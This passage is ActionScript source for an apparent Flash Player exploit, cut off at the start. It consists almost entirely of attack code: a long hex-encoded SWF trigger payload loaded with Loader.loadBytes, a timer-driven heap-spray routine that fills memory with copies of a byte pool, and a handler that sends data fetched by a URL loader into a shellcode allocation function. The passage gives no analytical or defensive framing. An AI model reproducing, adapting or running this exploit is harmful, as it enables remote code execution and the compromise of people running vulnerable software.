1a6c3ff7e167399a3cbfb38ae00d4a41b819e895e9fcb0cf0147d41a433aeeb716b8dddf9bc56d0f95c8d9dcfbbd8f97472616eb1b33a9f5ddcec43b7e20efb5dd88d3ce028d9b354b267ad925dc43dd075fec851b0ebedae733df6fd467c435e77bf5ea8fa2ebb877cd04ee4c68244d66022dfc3443e44f17b73ea6ea03dcc7128fb3318cad6452759fd1976cd4636da88fbf237417fdc88c76264a0e98d30490a33a85e8d5d38d83760ca4c0881c5b8bf11553f78ac27a4680917f0b6aeb7f4e4474975bd59e4d4d89b05614d39614d8fb2b661a26ec9f3b145e4634d8759db20340a1d83968a7dab902af6b53646b8473820a7bd4e679fd3b9cde9dc2e2c7cea21d67a88a17aea11ee757934981d473498a407a319dac3805b177023c374d1a2a9b48d20431a9f0ce3b4ecf6282ae334b9ae53822773d28126b578e0666437cbd4877733de2cd5977e4b7d49e379d25af68bdbf7e25a58bd5c0bb30fb1a9350fb1e917f11dc2c0517b648e74ebde3b5be7b03a684decd5aeacb902b894c3ac557b5eae000a3a5235788eebaf73148207df835cdec1a42c09becf3eb0b63ab7ae27a03dc40d15fd22da2f7011ef90b9c740dfcda33b45b636ad1fe050c10744d6d2d14537898896a6da9295750501885857f0ab1be6c02f54352f4bd98707a47e3f3e009914734114b452ba8cbb20df6f807c3fc88c6cf820e3723b06f9e3763cfd72a28a671858b53266798204db51462752663cc6c5388f76dceb501ad6b77bd185e8d6c9ede59003befaf68afaf6cafaf6aa6f438f58867ac44747d023ce27f899b97c64a28370115c3f4ae8205c4eaa2a54ecd5204a35f2268285a4be51623a0981fbff523d92c2b1209923ab1efdd19a985ff39baa479453a95ac208b0348cd8da727d90cd6df7c54a7059271fdc7a54825b5d32b21adf231257fb80a240fb80a0d87242d40e32dd7212a27690419cf141d6db5e1df3c7aaa3834cabd6fc311ff892885a6f5afa064257acbc00513b3812a2d667236add36a216556263acb4c5bc967aa764b1cc78a9625d2c5bf1ec9f2aa11bc5c66c2dc30fac78ed9850d38a9f5969afc83dc5862ae6cb7f581911b18a58e5b3e4a82251ca501f58b918cfa44760bc593bc2503bf00cbf2aecc3a974eac26922f96c75b149003f6556b83a335c3d16e097aa86bf10ccba4b58fac65d82f48daf8bd6dd82eb4312d639540066fdaaaae231791ab4b2ef5e553c36a621fcf77295eb982f53158f90f0ef5055fca5e91e5955fc775974ff90457798393c58659843077f1d5db2d7d625a34692de1f67457ac3ae486fc8d4bc395245cac7072fe7aaead174daa8746303facc31fdc5e89fdb22fd296185870a20c0bebc88eecf8b680517a51eedb7727222757a913710e42a1543d8d3d11a1c6e44a149c9545211d10775fa45d8cbe25720880b26205a434f3bf47825e623e8e9f28f088a79aa77981dfce330eef4686bf08b05dfc400cb39b08aae65dff4a0cab1e9270923468ff66b18313ad426a453aa99b727f2010b7fc0147b7326cee708dd2ec723f1b4c89495e28a3fb932a299a66938ab12d9eab72f5daa85fce9e25c78b4695f350ada1a64644dee634a70186c32b736ccbc2f19a7f0639d5a2b1d778445bd07cf3c1aa0338f26da671e655015183caf9a03bbe08dc6748ec328a1e211dc78f651069fe2e797f0c34ba8335fc9dd50a06f22b67cc8c4960fe5b0e5434c66b985d21eca01c7fb443e90bb5758c0f1a11c70bcd7f6d27698d5751c364bd7c14c02c77b1cccb639bd48e0f8368797ed4e2f1238be5de401c79fc0af9d6ad79a72e56a441e705c260a9e3b81e34fc214c5a355cb90785a84f46122c79f82399c479b60f2b551df4339e4f8d3a3fb3091e3ab46f76122c757c3d4c9a339f0decf7015025d86f77e96a63d3fb114a43f809a2650418ac3964260f65109cc1e666093c06cd2293ec75dc02202c9c1f90e7dfc4002be7d6127727cd0428e5f65e1d4bb68cc43232889559710f60c9127e6c8b88b01268ca88d6f84c821d217280f7cd49064a0b5b041a22fdafe86d15fb7ed6f18fc0de7fcbdc455460f224770c01fba2a193e4298c097716a8a6714440c91d316ae67f89b3991a6a755107e0df82a299527a8ac85484abd6321ce0b2c78416d3d48edeb2bf9d48b16755d3ef592457d359f9a1026f5355e06d4eb805a81c75f6645e8eae072754ac97446db6591089463a89798521a5c87df4c39a806fc308d0763ab1a50a7bba457e0b59ebb8157a8909776192f60a34c6776b80d7c0c2bf52e1290831758a4aaa54ae9b8c020957a85fe390bf982ddaafe318bbf25822f91658f083e0ced5a703118d3451878b4f63326f3054c13efea087ece0a7ece0c1eaa81e0a11a67f08ba3053f65053f650517185c38835f1a2df8092bf8092bf8440c3ed1193c2172c1cf33dd1fdf2bf44f19bcf15c3f6e3a2f4ae769d3f999749e319d27a593c2ee13fa47796173ced34ee719a793c2be2df44ff2c2e69ca79dce334ee7c7ac3efa8e801ca6db29793b216fe7595df45dbcd547f70b604baee3d2755aba4e4bd719e93a432ea81b1be11d2af556d20a51e400cc89f5b3acf580c0d77513be452553d28db3157c899e84d7a7ac517f4f34ea958dfafb705bc8f037f37b35f2eaf8102bfc4faba0375260b4ae4467cdba3e1a9b7df36fe237477f784374ce2dbf9af3fbd937cfb965b6d2a4c86b982d1ca7c0d060f2e0cf95c6c08f95e255bc8a57f12a5ec5ab7815afe255bc8a57f12a5ec5ab788d7ef5d5d6aad256cbd1ece0258aa64ce61a99d25e0a662d50d04f0998cd4069567cdc6b99c2c75d647791ddab3481e93129681740bf83ab307b9faf32a529c1c8449f2de276b2733227532ccd105623ce1a7190f65251097e943b882efc1c938d148df894921f4541ce2af15788a7342585939d2714a2ab6457c98e147e87427c14e98762c4732c215bc00ea60a26c5a5105d23ba02f102074126d8291355301398037021c58d619584e06ef2e322d36dfa9471698a2089d0bf466910090c25201423ba8b6294762fb02429285542a64dd1a05c64390af209c9a41cd3b82c5f4626a7d8bd20b446b94de91194060c60c525142a532ceb848c6b3ef26c24d9a70aa4d452be5d43e99f4aa9da404f6bc9bc86fc74929f4a327d947b9d94b6a964fac86725f94c24d03e5ed129b598aa04a56401d5a804a5678182b99a904fa95e25a85e2528f605d214f3891b33797a95bba98e25a8f413948626ca816924d7348af78f949e9b88d2244311b766a551f589b4e87675bb139e262dadf9f850494f69b7571fa38c4d8f4d96d596df5a9e2eaff535f974df906f5a4577858f5b7f272bba2b1355b57edd9ff6375527abd3d5b78eeb1c977bde33eee438dff8cef1b5136e9d90fcafffd25f23ccb7fff71f0a85958c";
						var bytes:ByteArray = hextobin(swftrigger);

						var ldr:Loader = new Loader();
						ldr.loadBytes(bytes);
						addChild(ldr);
				}

				public function hextobin(hex:String):ByteArray {
						var bytes:ByteArray = new ByteArray();
						var data1:Array = hex.split("");
						var data2:Array = [];

						for(var i:int = 0; i < data1.length; i += 2)
						   data2.push("0x"+data1 [i]+data1[i+1]);

						for(var j:int = 0; j < data2.length; j++)
						   bytes[j] = data2[j];

						return bytes;
				}

				public static function init_pool(val:ByteArray):void
				{
						pool = new ByteArray();
						pool.writeBytes(val);

						while (pool.length < POOL_SIZE)
						{
								var temp:ByteArray = new ByteArray();
								temp.writeBytes(pool);
								pool.writeBytes(temp);
						}
				}

				public static function alloc_event(evt:Event):void {
						var block:ByteArray = new ByteArray();
						block.writeBytes(pool);
						allocs.push(block);
				}
				public static function remainder_event(evt:Event):void {
						var block:ByteArray = new ByteArray();
						block.writeBytes(pool, 0, remainder);
						allocs.push(block);
						cevent(evt);
				}

				public static function alloc(val:ByteArray, size:uint, complete_event:Function):void {
						if (null == allocs)
								allocs = new Array();

						dstSize = size;
						cevent = complete_event
						remainder = dstSize % POOL_SIZE

						init_pool(val);

						var timer:Timer = new Timer(2, dstSize / POOL_SIZE);
						timer.addEventListener(TimerEvent.TIMER, alloc_event);

						if (0!=remainder)
								timer.addEventListener(TimerEvent.TIMER_COMPLETE, remainder_event);
						else
								timer.addEventListener(TimerEvent.TIMER_COMPLETE, complete_event);

						timer.start();
				}

				public static function free():void {
						allocs = null;
				}

				public function urlLoader_complete(evt:Event):void {
						 alloc_shellcode(urlLoader.data);
				}

				public function Exploit()  {
						textbox.height = 320;
						textbox.width = 320;
						textbox.border = true;
						textbox.text = msg;
						addChild(textbox);

						exploit();
				}


		}
}
var ex:Exploit = new Exploit();